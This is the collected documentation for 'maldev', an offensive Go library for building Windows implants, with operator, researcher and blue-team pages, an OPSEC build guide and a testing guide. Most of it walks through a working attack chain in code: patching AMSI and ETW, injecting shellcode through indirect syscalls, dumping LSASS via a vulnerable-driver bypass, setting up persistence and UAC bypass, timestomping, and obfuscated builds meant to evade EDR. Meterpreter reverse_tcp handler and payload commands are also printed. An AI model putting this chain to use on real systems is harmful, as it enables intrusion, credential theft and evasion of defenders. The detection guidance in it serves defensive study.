Documentation Index

← maldev README

The navigation spine for everything in docs/. Three ways in, depending on what you came for.

[!TIP] If you don't know where to start, pick a role first; the role page walks you through a curated reading order.

By role

By technique area

Each area page lists every technique in the area with a one-liner; click through for the full template (Primer / How It Works / API / Examples / OPSEC / MITRE / Limitations / See also).

By MITRE ATT&CK ID

By package

Grouped by area, expandable. Click any package name to jump to its pkg.go.dev godoc; expand an area to scan every package's detection level and one-line summary in one place.

Each area is collapsed by default — click to expand. Detection level is the canonical 5-level scale (very-quiet → very-noisy); umbrella / variable packages show as —.

Cross-cutting guides

Conventions

Getting Started

← Back to README

Welcome to maldev — a modular Go library for offensive security research. This guide assumes zero malware development experience.

Prerequisites

• Go 1.21+ installed
• Windows for most techniques (some work cross-platform)
• Basic Go knowledge (functions, packages, error handling)
• For OPSEC builds: garble (go install mvdan.cc/garble@latest)

Installation

go get github.com/oioio-space/maldev@latest

Core Concepts

What is maldev?

maldev is a library, not a framework. You import the packages you need and compose them:

graph LR
    A[Your implant] --> B[inject/ — run shellcode]
    A --> C[evasion/ — avoid detection]
    A --> D[c2/ — communicate home]
    A --> E[cleanup/ — cover tracks]

The Five Levels of Stealth

Every technique has a detection level declared in its doc.go. Choose based on your threat model:

Find the detection level for any package on its tech-md page (e.g., docs/techniques/evasion/amsi-bypass.md) and in its doc.go # Detection level section.

The Caller Pattern

The most important concept in maldev. Every function that calls Windows NT syscalls accepts an optional *wsyscall.Caller:

// Without Caller — uses standard WinAPI (hookable by EDR)
injector, _ := inject.NewInjector(&inject.Config{
    Method: inject.MethodCreateRemoteThread,
    PID:    pid,
})
injector.Inject(shellcode)

// With Caller — routes through indirect syscalls (bypasses EDR hooks)
injector, _ = inject.Build().
    Method(inject.MethodCreateRemoteThread).
    PID(pid).
    IndirectSyscalls().
    Create()
injector.Inject(shellcode)

Rule of thumb: Always create a Caller for real operations. Pass nil only for testing.

Your First Program

Step 1: Evasion (disable defenses)

package main

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
)

func main() {
    // Apply evasion techniques before doing anything suspicious
    techniques := []evasion.Technique{
        amsi.ScanBufferPatch(),  // disable AMSI scanning
        etw.All(),               // disable ETW logging
    }
    evasion.ApplyAll(techniques, nil) // nil = standard WinAPI
}

Step 2: Load shellcode

import "github.com/oioio-space/maldev/crypto"

// Decrypt your payload (encrypted at build time)
key := []byte{/* your 32-byte AES key */}
shellcode, _ := crypto.DecryptAESGCM(key, encryptedPayload)

Step 3: Inject

import "github.com/oioio-space/maldev/inject"

cfg := &inject.Config{
    Method: inject.MethodCreateThread,  // self-injection
}
injector, _ := inject.NewInjector(cfg)
injector.Inject(shellcode)

Step 4: Build for operations

# Development build (with logging)
make debug

# Release build (OPSEC, no strings, no debug info)
make release

Per-Package Quick-Reference

If you know the technique you want, jump straight to the matching package:

For the full layered map, see Architecture § Per-Package Quick-Reference.

What to Read Next

Terminology Quick Reference

Architecture

← Back to README

Layered Design

maldev follows a strict bottom-up dependency model. Each layer only depends on layers below it.

graph TD
    subgraph "Layer 0 — Pure Go (no OS calls)"
        crypto["crypto/"]
        encode["encode/"]
        hash["hash/"]
        random["random/"]
        useragent["useragent/"]
    end

    subgraph "Layer 1 — OS Primitives"
        api["win/api<br>DLL handles, PEB walk, API hashing"]
        syscall["win/syscall<br>Direct/Indirect syscalls, HashGate"]
        ntapi["win/ntapi<br>Typed NT wrappers, handle enum"]
        token["win/token<br>Token manipulation"]
        privilege["win/privilege<br>Elevation helpers"]
        impersonate["win/impersonate<br>Thread impersonation"]
        version["win/version<br>Version detection"]
        domain["win/domain<br>Domain membership"]
        kerneldriver["kernel/driver<br>BYOVD primitives (Reader/Writer/Lifecycle)"]
    end

    subgraph "Layer 2 — Techniques"
        inject["inject/<br>15 injection methods"]
        evasion["evasion/<br>active evasion (amsi, etw, unhook, sleepmask, callstack, kcallback, …)"]
        recon["recon/<br>read-only discovery (antidebug, antivm, sandbox, timing, hwbp, dllhijack, drive, folder, network)"]
        cleanup["cleanup/<br>memory, files, timestamps, ads, bsod"]
        pe["pe/<br>parse, strip, morph, srdi, cert, masquerade, imports"]
        runtime["runtime/<br>in-process loaders (clr, bof)"]
        process_tamper["process/tamper/<br>hideprocess, herpaderping, fakecmd, phant0m"]
        process["process/<br>enum, session"]
        ui["ui/<br>MessageBox + sounds"]
        credentials["credentials/<br>lsassdump (LSASS dump + PPL unprotect)"]
        privesc["privesc/<br>uac (4 bypass) + cve202430088 (kernel LPE)"]
        persistence["persistence/<br>registry, startup, scheduler, service, lnk, account"]
    end

    subgraph "Layer 3 — Orchestration"
        shell["c2/shell<br>Reverse shell + state machine"]
        meterpreter["c2/meterpreter<br>Metasploit staging"]
        transport["c2/transport<br>TCP, TLS, uTLS, Malleable HTTP"]
        cert["c2/cert<br>Certificate generation"]
    end

    %% Dependencies
    api --> hash
    syscall --> api
    ntapi --> api
    inject --> api
    inject --> syscall
    evasion --> api
    evasion --> syscall
    evasion --> kerneldriver
    kerneldriver --> api
    credentials --> kerneldriver
    privesc --> ntapi
    privesc --> token
    privesc --> inject
    process_tamper --> api
    shell --> transport
    shell --> evasion
    meterpreter --> transport
    meterpreter --> inject
    meterpreter --> useragent

Caller Pattern

The *wsyscall.Caller is the central OPSEC mechanism. Any function that calls NT syscalls accepts an optional Caller parameter:

flowchart LR
    A[Your Code] --> B{Caller?}
    B -->|nil| C[Standard WinAPI<br>kernel32 → ntdll]
    B -->|WinAPI| C
    B -->|NativeAPI| D[ntdll directly]
    B -->|Direct| E[Syscall stub<br>in RW→RX page]
    B -->|Indirect| F[Jump to ntdll<br>syscall;ret gadget]

    E --> G[SSN Resolver]
    F --> G
    G --> H{Resolver Type}
    H -->|HellsGate| I[Read prologue]
    H -->|HalosGate| J[Scan neighbors]
    H -->|TartarusGate| K[Follow JMP hook]
    H -->|HashGate| L[PEB walk + ROR13]

Evasion Composition

Evasion techniques compose via the evasion.Technique interface:

flowchart TD
    A[Configure Techniques] --> B["techniques := []evasion.Technique{
        amsi.ScanBufferPatch(),
        etw.All(),
        unhook.Full(),
    }"]
    B --> C["evasion.ApplyAll(techniques, caller)"]
    C --> D{Each technique}
    D --> E[AMSI: Patch prologue]
    D --> F[ETW: Patch 6 functions]
    D --> G[Unhook: Restore .text]
    E --> H[Ready for injection]
    F --> H
    G --> H

Memory Protection Lifecycle

All injection methods follow the RW→RX pattern (never RWX):

stateDiagram-v2
    [*] --> Allocate: VirtualAlloc(PAGE_READWRITE)
    Allocate --> Write: Copy shellcode
    Write --> Protect: VirtualProtect(PAGE_EXECUTE_READ)
    Protect --> Execute: CreateThread / APC / Callback
    Execute --> Cleanup: WipeAndFree / Sleep Mask
    Cleanup --> [*]

    state "Sleep Mask Cycle" as SM {
        [*] --> Encrypt: XOR + PAGE_READWRITE
        Encrypt --> Sleep: time.Sleep / BusyWaitTrig
        Sleep --> Decrypt: XOR + Restore original
        Decrypt --> [*]
    }

    Execute --> SM: Between beacons
    SM --> Execute: Wake up

Per-Package Quick-Reference

One-line "what's in here" for every shipping package, grouped by layer. Click any package name to jump to its area-doc or technique page.

Layer 0 — Pure Go (no OS calls)

Layer 1 — OS Primitives

Layer 2 — Techniques (active)

Layer 2 — Post-exploitation

Layer 3 — Orchestration

Build Pipeline

flowchart LR
    A[Source Code] --> B[garble -literals -tiny]
    B --> C[go build -trimpath -ldflags='-s -w']
    C --> D[pe/strip.Sanitize]
    D --> E[Optional: UPX pack]
    E --> F[pe/morph.UPXMorph]
    F --> G[Final Binary]

    style B fill:#f96
    style D fill:#f96
    style F fill:#f96

OPSEC Build Pipeline

<- Back to README

Building maldev implants for operational use requires stripping Go-specific artifacts that EDR/AV products use for detection.

Quick Start

# Install garble (one-time)
make install-garble

# OPSEC release build
make release BINARY=payload.exe CMD=./cmd/rshell

# Debug build (with logging)
make debug BINARY=debug.exe CMD=./cmd/rshell

What Gets Stripped

Build Modes

Development (default)

go build -trimpath -ldflags="-s -w" -o dev.exe ./cmd/rshell

• Symbols stripped, debug info stripped, paths trimmed
• Still identifiable as Go (pclntab intact, strings visible)
• Use for: testing, development, non-operational builds

Release (OPSEC)

CGO_ENABLED=0 garble -literals -tiny -seed=random \
    build -trimpath -ldflags="-s -w -H windowsgui -buildid=" \
    -o payload.exe ./cmd/rshell

• garble randomizes all symbols and type names
• -literals encrypts all string literals (decrypted at runtime)
• -tiny removes panic/print support strings
• -seed=random ensures each build is unique
• Significantly harder to identify as Go or attribute to maldev

Debug (with logging)

go build -trimpath -tags=debug -ldflags="-s -w" -o debug.exe ./cmd/rshell

• Enables internal/log real output (slog to stderr)
• Use for: troubleshooting in controlled environments
• Never deploy debug builds operationally — log strings are in the binary

CallByHash: Eliminating Function Name Strings

Even with garble, Caller.Call("NtAllocateVirtualMemory", ...) leaves function name strings in the binary because garble doesn't encrypt function arguments that are computed at runtime.

Solution: Use CallByHash with pre-computed constants:

// BAD — "NtAllocateVirtualMemory" appears in binary
caller.Call("NtAllocateVirtualMemory", ...)

// GOOD — only 0xD33BCABD (uint32) in binary
caller.CallByHash(api.HashNtAllocateVirtualMemory, ...)

Pre-computed hashes are in win/api/resolve_windows.go:

For functions not in the pre-computed list, use hash.ROR13(name) at development time and hardcode the result.

garble Reference

garble is the only maintained Go obfuscator compatible with recent Go versions.

# Install
go install mvdan.cc/garble@latest

# Flags
garble [flags] build [go build flags]

# Key flags:
#   -literals     Encrypt string literals
#   -tiny         Remove extra runtime info
#   -seed=random  Random obfuscation seed per build
#   -debugdir=dir Dump obfuscated source for inspection

Limitations:

• Increases binary size ~10-20% (encrypted strings + decryption stubs)
• Slightly slower startup (string decryption)
• -tiny removes fmt.Print/panic support — ensure your code handles errors via error returns, not panics
• Cannot obfuscate the Go runtime itself (goroutine scheduler, GC)

Post-Build Verification

After building, verify OPSEC quality:

# Check for Go runtime strings
strings payload.exe | grep -iE "goroutine|runtime\.|GOROOT|go1\." | wc -l
# Target: 0 with garble -tiny

# Check for maldev package paths
strings payload.exe | grep -i "maldev\|oioio" | wc -l
# Target: 0 with garble

# Check for NT function names
strings payload.exe | grep -iE "NtAllocate|NtProtect|NtCreate|NtWrite" | wc -l
# Target: 0 with CallByHash

# Check for RWX memory (should not exist in stubs)
# Run under a debugger and check VirtualAlloc calls for PAGE_EXECUTE_READWRITE

For operators (red team)

← maldev README · docs/index

You are running an engagement. You want chains that compose, payloads that land, and OPSEC that holds. This page walks the curated reading order.

TL;DR

flowchart LR
    A[recon] --> B[evasion]
    B --> C[inject]
    C --> D[sleepmask]
    D --> E[collection / lateral]
    E --> F[cleanup]

Six packages — recon → evasion → inject → sleepmask → collection → cleanup — share one *wsyscall.Caller. Plug it once, every package below it inherits the syscall stealth.

30-minute path: a working implant

[!IMPORTANT] Run from a VM. The intrusive packages call real APIs against the live OS. See vm-test-setup.md for the lab.

1. Pick your syscall stance

caller := wsyscall.New(
    wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()),
)

2. Disable in-process defences

Apply the evasion preset for "modern Windows endpoint":

evasion.ApplyAll([]evasion.Technique{
    amsi.ScanBufferPatch(),    // T1562.001
    etw.All(),                  // T1562.001
    unhook.Classic("ntdll.dll"), // T1562.001 — restores 4C 8B D1 B8
}, caller)

See docs/techniques/evasion/ for the full menu (HW breakpoints, callstack spoof, ACG, BlockDLLs, kernel callback removal).

3. Inject payload

Choose a method by OPSEC class:

Each accepts the same *wsyscall.Caller and stealthopen.Opener for file read stealth where applicable.

4. Sleep masking between callbacks

mask := sleepmask.New(sleepmask.StrategyEkko, caller)
mask.Sleep(60 * time.Second) // bytes XOR-encrypted, decrypted on wake

Three strategies:

• StrategyEkko — ROP chain, encrypts current thread stack.
• StrategyFakeJmp — JIT-rewrites a return-to-mask spot.
• StrategyTimerQueue — pure-userland timer fall-back.

See sleep-mask.md.

5. Cleanup at end-of-mission

selfdelete.RunWithScript() // ADS rename + batch + reboot — T1070.004
memory.WipeAndFree(secret) // overwrite + VirtualFree
timestomp.CopyFrom(target, "C:/Windows/System32/notepad.exe") // T1070.006

Common operator scenarios

Credential harvest

// 1. PPL unprotect via BYOVD (RTCore64).
drv, _ := rtcore64.New(rtcore64.Config{ServiceName: "rtcore"})
drv.Install()
defer drv.Uninstall()

// 2. Dump LSASS.
dump, _ := lsassdump.Dump(caller, drv)

// 3. Parse without dropping a .dmp file.
hashes, _ := sekurlsa.Parse(dump)

→ full chain in docs/techniques/credentials/.

Persistence

// Quietest: Registry Run key
mech := registry.NewRunKeyMechanism("Updater", "C:/Users/Public/u.exe", registry.HKCU)
mech.Install()

Privilege escalation

if uac.SilentCleanup().Run() == nil {
    // re-launched as High IL — chain continues
}

Four bypasses: FODHelper, SLUI, SilentCleanup, EventVwr. All are T1548.002. See privesc/uac.

Lateral movement

This library focuses on the target side. For lateral mvmt primitives (SMB, WMI, WinRM) wire up your own — c2/transport gives the re-establishment plumbing.

Build pipeline (OPSEC delivery)

opsec-build.md covers the full pipeline. Quick recipe:

# 1. Compile-time PE masquerade as cmd.exe
go build -tags 'masquerade_cmd' -trimpath -ldflags='-s -w' -o impl.exe

# 2. Strip Go pclntab + sanitize section names
go run github.com/oioio-space/maldev/cmd/sleepmask-demo \
    -in impl.exe -out impl-clean.exe

# 3. Morph (random section names + UPX-style header)
# (use pe/morph for runtime; for delivery, do it pre-flight)

OPSEC checklist

• All packages share one *wsyscall.Caller instance — never new one per call.
• evasion.ApplyAll(...) runs before any injection / file read.
• sleepmask enabled between operator callbacks.
• Build with -trimpath -ldflags='-s -w' -tags <masquerade_preset>.
• pe/strip + pe/morph post-build.
• No write to C:\Users\Public or %TEMP% unless absolutely needed.
• Cleanup chain wired into shutdown path: selfdelete last.

Where to next

• Composed examples — basic implant, evasive injection, full attack chain.
• docs/techniques/ — every technique with API reference.
• Researcher path — if you want to know why the Caller pattern exists, or how the kernel-callback removal actually works.

For researchers (R&D)

← maldev README · docs/index

You want to understand. This page walks the architecture, the design patterns that make every package compose, and the references behind each technique.

TL;DR

The library is built around one composable abstraction: every syscall-issuing package accepts an optional *wsyscall.Caller. The caller encapsulates the calling method (WinAPI / NativeAPI / Direct / Indirect) and the SSN-resolution strategy (chain of gates: HellsGate → HalosGate → Tartarus → HashGate). This is the maldev "Caller pattern" — read it first.

Architecture

flowchart TD
    L0["Layer 0 (pure Go)<br>crypto · encode · hash · random · useragent"]
    L1["Layer 1 (OS primitives)<br>win/api · win/syscall · win/ntapi · win/token · win/privilege<br>process/enum · process/session · kernel/driver"]
    L2T["Layer 2 (techniques)<br>evasion/* · recon/* · inject · pe/* · runtime/*<br>cleanup/* · process/tamper/* · privesc/*"]
    L2P["Layer 2 (post-ex)<br>persistence/* · collection/* · credentials/*"]
    L3["Layer 3 (orchestration)<br>c2/transport · c2/shell · c2/meterpreter · c2/cert"]

    L0 --> L1
    L1 --> L2T
    L1 --> L2P
    L2T --> L3
    L2P --> L3

Detailed dependency rules and the complete package matrix: architecture.md.

The Caller pattern

Every package that issues syscalls follows this signature:

func DoThing(args ..., caller *wsyscall.Caller) (..., error)

A nil caller falls back to WinAPI (the standard CRT path — easy debugging, noisy in production). A non-nil caller routes the call through the chosen method:

sequenceDiagram
    participant Pkg as "package (e.g. amsi)"
    participant Caller as "*wsyscall.Caller"
    participant Resolver as "SSN Gate Chain"
    participant NT as "ntdll syscall stub"
    Pkg->>Caller: NtProtectVirtualMemory(...)
    Caller->>Resolver: resolve("NtProtectVirtualMemory")
    Resolver-->>Caller: SSN 0x50
    Caller->>NT: indirect call (rcx, rdx, r8, r9, [rsp+0x28])
    NT-->>Caller: NTSTATUS
    Caller-->>Pkg: error or nil

Why this design?

1. Uniform OPSEC tuning — change one variable, all dependent packages inherit the new stealth level. No per-call configuration sprawl.
2. Resolver fall-back chain — if HellsGate fails (ntdll hooked), HalosGate walks down to find a clean stub. Each package gets the chain "for free".
3. Testability — the WinAPI fall-back lets unit tests run on any Windows host without elevation, while integration tests in VMs run with MethodIndirect to validate the stealth path.

See: win/syscall/doc.go and the direct-indirect / ssn-resolvers pages.

Cross-version Windows behavior

Some techniques fail on newer Windows builds. Tracked deltas:

Source of truth: the ## Win10 → Win11 cross-version deltas table in testing.md.

Reading order — by complexity

1. Pure Go: crypto, encode, hash — read *_test.go first; the algorithms speak for themselves.
2. OS-primitives: win/syscall — start here, the Caller pattern radiates out.
3. Detection-evasion mechanics: evasion/amsi, evasion/etw, evasion/unhook. Concrete byte-pattern verification, easy to validate in x64dbg.
4. Sleep masking: sleepmask — the Ekko ROP chain is a small masterpiece; the Go bindings preserve the semantics.
5. Injection: inject. 15+ methods — read the CallerMatrix test in testing.md for the feature × stealth grid.
6. In-process runtime: runtime/bof, runtime/clr. BOF/COFF parsing in pure Go; CLR hosting via ICorRuntimeHost (legacy v2 activation).
7. Kernel BYOVD: kernel/driver/rtcore64. Layer-1 primitives (Reader / ReadWriter / Lifecycle); CVE-2019-16098 IOCTL scaffold; consumed by evasion/kcallback.Remove and credentials/lsassdump.Unprotect.

VM testing

Reproducible test harness: coverage-workflow.md.

# One-time: bootstrap VMs from scratch
bash scripts/vm-provision.sh

# Each session: full coverage with all gates open, merged report
bash scripts/full-coverage.sh --snapshot=TOOLS

The harness orchestrates Windows + Linux + Kali VMs; gating env vars (MALDEV_INTRUSIVE, MALDEV_MANUAL) unlock destructive tests safely.

How to extend

Adding a new injection method

1. Add a Method<Name> constant to inject/method.go.
2. Implement case MethodXxx: in WindowsInjector.Inject. The *wsyscall.Caller is already wired — call through it for any syscall.
3. Add the method to the CallerMatrix test.
4. Update docs/techniques/injection/ per the doc-conventions template.
5. Tag the MITRE ID in the new package's doc.go; cmd/docgen rolls it into mitre.md.

Adding a new evasion technique

Same shape: package under evasion/<name>, exposes a function returning an evasion.Technique so it composes via evasion.ApplyAll.

References

• Caller pattern: Hells/Halos Gate paper · Tartarus Gate
• AMSI bypass: Rasta Mouse — AmsiScanBuffer patch
• ETW patch: modexp — Disabling ETW
• Sleep mask (Ekko): Cracked5pider/Ekko
• Herpaderping / Ghosting: jxy-s/herpaderping · hasherezade — process ghosting
• Donut PE-to-shellcode: TheWover/donut
• Phantom DLL hollowing: forrest-orr/phantom-dll-hollower-poc
• BOF spec: Cobalt Strike BOF documentation

Per-technique pages cite their own primary sources — these are the spine references for the architecture.

Where to next

• Operator path — if you want the practical chain, not the theory.
• Detection engineering path — read the same techniques from the artifacts left behind angle.
• Architecture — full layer-by-layer dependency map.
• Testing — evidence the techniques actually work cross-version.

For detection engineers (blue team)

← maldev README · docs/index

Every technique here has been measured against EDR / Defender / event logs. This page lists the artifacts each leaves behind, where to look, and which D3FEND counter-technique applies. Use it to write detections, plan red-team exercises, or harden endpoints.

TL;DR

[!TIP] If your goal is "what should I monitor first", focus on the noisy / very-noisy rows in the Detection Difficulty table below. Those are the techniques where the trade-off is worst for the attacker — easiest wins for the defender.

Detection difficulty matrix

Every package is annotated with a Detection level field in its doc.go. Buckets:

cmd/docgen (Phase 3 of the doc refactor) produces a flat table of all public packages by detection level. Until then, see each package's doc.go.

Per-area detection guidance

Syscalls — win/syscall

[!NOTE] ETW Threat Intelligence provider (Microsoft-Windows-Threat-Intelligence) emits EVENT_TI_NTPROTECT and EVENT_TI_NTALLOCATEVIRTUAL regardless of whether the call came from ntdll or a direct syscall instruction. Subscribing to TI events is the single best detection investment for this area.

AMSI / ETW patching — evasion/amsi, evasion/etw

Hunt query (KQL pseudo-code):

DeviceImageLoadEvents
| where FileName == "amsi.dll"
| join DeviceProcessEvents on InitiatingProcessId
| project ProcessName, AmsiBytes = read 3 bytes at AmsiScanBuffer offset
| where AmsiBytes != original_bytes

D3FEND counters: D3-PSM (Process Spawn Monitoring), D3-PMC (Process Module Code Manipulation Detection). Hardening: **AMSI Provider DLL pinned

• signed**.

ntdll unhooking — evasion/unhook

Hunt: memory-scan ntdll RX section for stubs that diverge from on-disk bytes after the EDR's hook installer ran.

Sleep masking — evasion/sleepmask

D3FEND: D3-PSEP (Process Self-Modification). Hardening: kernel thread-stack walking on a 5–30 second cadence.

Injection — inject

Per-method telemetry (excerpt; full table per technique page):

See docs/techniques/injection/ for the per-method artifact list.

Credential access — credentials/*

Hardening: Credential Guard (LSASS in VTL1) defeats lsassdump write/read; Protected Process Light (PPL) requires the BYOVD unprotect path which is itself detectable via signed-driver provenance events (Sysmon Event 6).

Persistence — persistence/*

D3FEND: D3-RAPA (Resource Access Pattern Analysis), D3-PFV (Persistent File Volume Inspection).

Cleanup — cleanup/*

The most-overlooked area for blue. Cleanup deliberately removes artifacts the rest of the chain would have left.

Forensic detection: MFT inconsistency between $STANDARD_INFORMATION and $FILE_NAME timestamps is the canonical timestomp tell.

Hardening recommendations

1. Enable ETW Threat Intelligence provider and ship its events to your SIEM. Single highest-leverage signal for this entire library.
2. Credential Guard + LSASS in PPL (kernel RunAsPPL=1).
3. WDAC / AppLocker with publisher allow-list — defeats Donut-loaded PE shellcode if PE policy applies (depends on AMSI integration).
4. Sysmon with SwiftOnSecurity baseline covers most artifact categories above.
5. Driver block-list policy — Microsoft's vulnerable driver block list includes RTCore64; enable it.

Hunt repository (placeholder)

[!NOTE] A docs/hunts/ directory with Sigma rules and KQL queries per technique is on the Phase 5 roadmap. Until then, the per-technique "OPSEC & Detection" sections (mandatory by doc-conventions) carry the hunt-relevant artefacts.

Where to next

• Researcher path — same techniques explained from the attacker design angle.
• Operator path — see how the chain composes; useful for red-team / purple-team coordination.
• MITRE map — full ATT&CK / D3FEND reconciliation.
• docs/techniques/ — drill into any specific technique.

MITRE ATT&CK + D3FEND Coverage

← Back to README

ATT&CK Techniques

D3FEND Defensive Techniques

The D3FEND column above indicates which defensive technique a blue team would use to detect each maldev capability. This helps red teamers understand what they're evading and blue teamers understand what to implement.

graph TD
    subgraph "Attack Techniques (Red)"
        I[Injection T1055]
        E[Evasion T1562]
        S[Syscall Bypass T1106]
        C[C2 T1071/T1573]
    end

    subgraph "D3FEND Countermeasures (Blue)"
        D1[D3-PSA<br>Process Spawn Analysis]
        D2[D3-AIPA<br>App Integrity Analysis]
        D3[D3-SCA<br>System Call Analysis]
        D4[D3-NTA<br>Network Traffic Analysis]
        D5[D3-SMRA<br>Memory Range Analysis]
    end

    I --> D1
    I --> D5
    E --> D2
    S --> D3
    C --> D4

    subgraph "maldev OPSEC Counters"
        O1[Indirect syscalls<br>defeat D3-SCA]
        O2[Sleep mask<br>defeats D3-SMRA]
        O3[uTLS JA3 spoofing<br>defeats D3-NTA]
        O4[Unhooking<br>defeats D3-AIPA hooks]
    end

    D3 -.->|bypassed by| O1
    D5 -.->|bypassed by| O2
    D4 -.->|bypassed by| O3
    D2 -.->|bypassed by| O4

Testing Guide — maldev

Scope. This document covers per-test-type details: the injection matrix, Meterpreter end-to-end, evasion byte-pattern verification, BSOD, collection and token tests. For bootstrap (VM creation, SSH keys, INIT snapshot) see docs/vm-test-setup.md. For the reproducible coverage collection workflow (merged host + Linux VM + Windows VM + Kali) see docs/coverage-workflow.md.

Overview

The maldev project uses a multi-layered testing strategy:

1. Unit tests (go test ./...) — 64 packages, 500+ tests
2. VM integration tests (MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1) — privileged operations in isolated VMs
3. memscan binary verification (scripts/vm-test-memscan.go) — 77 byte-pattern sub-checks read via the memscan HTTP API
4. Meterpreter end-to-end — real shellcode → real MSF sessions on Kali
5. BSOD verification — crashes the VM, restores the snapshot (uses the cmd/vmtest driver; see scripts/vm-test.ps1)

Running Tests

# Local (safe, non-intrusive)
go build $(go list ./...)
go test $(go list ./... | grep -v scripts) -count=1 -short

# VM — all tests including intrusive (win10)
./scripts/vm-run-tests.sh windows "./..." "-v -count=1"

# VM — same suite on a second Windows build (cross-version coverage)
./scripts/vm-run-tests.sh windows11 "./..." "-v -count=1"

# VM — sweep all targets (windows + windows11 + linux)
./scripts/vm-run-tests.sh all "./..." "-count=1"

# VM — with manual/dangerous tests
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 go test ./... -count=1 -timeout 300s

# memscan binary verification (77-row matrix, from host)
go run scripts/vm-test-memscan.go

# Meterpreter matrix (from host, needs Kali)
# See Meterpreter section below

Test Gating

Injection CallerMatrix

Tests every injection method × every syscall calling convention. 35 combinations tested.

• ⚠️ ThreadHijack + Direct/Indirect: NtGetContextThread/NtWriteVirtualMemory fail with STATUS_DATATYPE_MISALIGNMENT — RSP alignment issue in syscall stubs
• ⛔ CreateFiber: deadlocks Go's M:N scheduler with real shellcode

Standalone Injection Functions

Meterpreter End-to-End

Prerequisites

1. Kali VM running with MSF (ssh -p 2223 kali@localhost)
2. Windows VM with Defender exclusions
3. SSH key at /tmp/vm_kali_key

Setup

# Start MSF handler on Kali (sleep 3600 keeps it alive)
ssh -i /tmp/vm_kali_key -p 2223 kali@localhost \
  'nohup msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit -j -z; sleep 3600" > /tmp/msf.log 2>&1 &'

# Wait 20s for MSF boot, then generate shellcode
ssh -i /tmp/vm_kali_key -p 2223 kali@localhost \
  'msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw' > /tmp/msf_payload.bin

# Copy to VM
VBoxManage guestcontrol Windows10 copyto --target-directory "C:\Temp\" /tmp/msf_payload.bin

Key Finding: MSF sleep trick

msfconsole exits when stdin closes (not a crash — EOF). nohup/screen don't help because they close stdin. Fix: add sleep 3600 as the LAST MSF -x command. This is an MSF sleep (not bash), keeping the process alive while the handler runs.

Results (2026-04-14)

22 unique meterpreter sessions established across all 21 injection techniques (including CertEnumStore). SpawnWithSpoofedArgs verified separately (not a shellcode injection — confirms PEB argument overwrite).

Evasion Tests

AMSI Patch

ETW Patch

Unhook

ClassicUnhook safelist: NtClose, NtCreateFile, NtReadFile, NtWriteFile, NtQueryVolumeInformationFile, NtQueryInformationFile, NtSetInformationFile, NtFsControlFile — all rejected to prevent Go runtime deadlock.

stealthopen Opener / Creator composition

stealthopen exposes a symmetric pair of optional interfaces that mirror the *wsyscall.Caller pattern — nil falls back to the standard os operation, non-nil routes through whatever stealth strategy the caller wires up.

Read side — Opener: the unhook, phantomdll, and herpaderping functions accept it. nil keeps the historic path-based os.Open / windows.CreateFile, non-nil (typically *stealthopen.Stealth) routes reads through OpenFileById and makes path-based EDR file hooks blind to the operation.

Write side — Creator: the LNK, ADS, .kirbi, lsass-minidump, PE rewrite, and .syso emit paths accept it. nil falls back to *StandardCreator (plain os.Create); non-nil lands the file through the operator's primitive (transactional NTFS, encrypted-stream wrapper, ADS, raw NtCreateFile, etc.). Byte-ready callers go through stealthopen.WriteAll(creator, path, data); streaming producers (lsassdump.DumpToFileVia, masquerade.GenerateSysoVia) drive the returned io.WriteCloser directly.

Run just the Opener / Creator paths:

./scripts/vm-run-tests.sh windows "./evasion/stealthopen/..." "-v -count=1"
./scripts/vm-run-tests.sh windows "./evasion/unhook/..." "-v -count=1 -run Opener"
./scripts/vm-run-tests.sh windows "./inject/..." "-v -count=1 -run PhantomDLLInject_UsesProvidedOpener"
./scripts/vm-run-tests.sh windows "./process/tamper/herpaderping/..." "-v -count=1 -run Opener"
./scripts/vm-run-tests.sh windows "./persistence/lnk/..." "-v -count=1 -run WriteVia"

Other Evasion

BSOD

Driven by cmd/vmtest + a target-side PowerShell harness (see scripts/vm-test.ps1). The standalone scripts/vm-test-bsod.go runner listed in docs/vm-test-setup.md § Phase 5 is still TODO — reproduction today is manual:

1. Launch the harness via scheduled task (interactive session, schtasks /Run).
2. The harness calls cleanup/bsod.Trigger(nil).
3. First tries NtRaiseHardError (intercepted on Win 10 22H2).
4. Falls back to RtlSetProcessIsCritical(TRUE) + os.Exit(1).
5. VM crashes with CRITICAL_PROCESS_DIED.
6. Operator restores the INIT snapshot: virsh snapshot-revert <vm> --snapshotname INIT --force or VBoxManage snapshot <vm> restore INIT.

SSN Resolver Verification

All 4 resolvers return identical SSNs for the same function:

Cross-validated: x64dbg reads SSN bytes from ntdll prologue (offset +4, +5) and compares with resolver output. All match.

Collection

Token Operations

Persistence

Cleanup

PE Operations

Linux Testing

Injection Methods

Linux Debugger Equivalent

Instead of x64dbg, Linux verification uses:

• /proc/PID/maps — read memory layout, find RWX regions
• /proc/PID/mem — read/write process memory directly
• GDB (gdb -p PID) — available on Ubuntu VM for interactive debugging
• strace — trace syscalls (memfd_create, mmap, ptrace)

Running Linux Tests

# On host (orchestrates VM)
./scripts/vm-run-tests.sh linux "./..." "-v -count=1"

# On Ubuntu VM directly
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 go test $(go list ./... | grep -v scripts) -count=1 -timeout 120s

# Linux meterpreter e2e (requires Kali handler running first)
# From host: start MSF handler via KaliStartListener
# On Ubuntu VM:
MALDEV_MANUAL=1 MALDEV_INTRUSIVE=1 MALDEV_KALI_HOST=192.168.56.200 \
  go test -v -run TestMeterpreterRealSessionLinux ./c2/meterpreter/ -timeout 120s

# Linux shell PTY (self-contained, no Kali needed)
MALDEV_MANUAL=1 go test -v -run "TestShellPTYLinux" ./c2/shell/ -timeout 60s

Linux e2e Results

Platform Test Summary

Win10 → Win11 cross-version deltas (run captured 2026-04-26)

The windows11 test target (VM win11-2, build 26100 / Win11 24H2) exposes mitigations Win10 22H2 doesn't. Categories:

* On a clean Defender state. Defender signatures rotate; the evasion/hook and pe/srdi quarantines were observed on win10 in run 2 even though they passed on run 1. The bootstrap script now installs path + process exclusions on first provision (see scripts/vm-test/bootstrap-windows-guest.ps1).

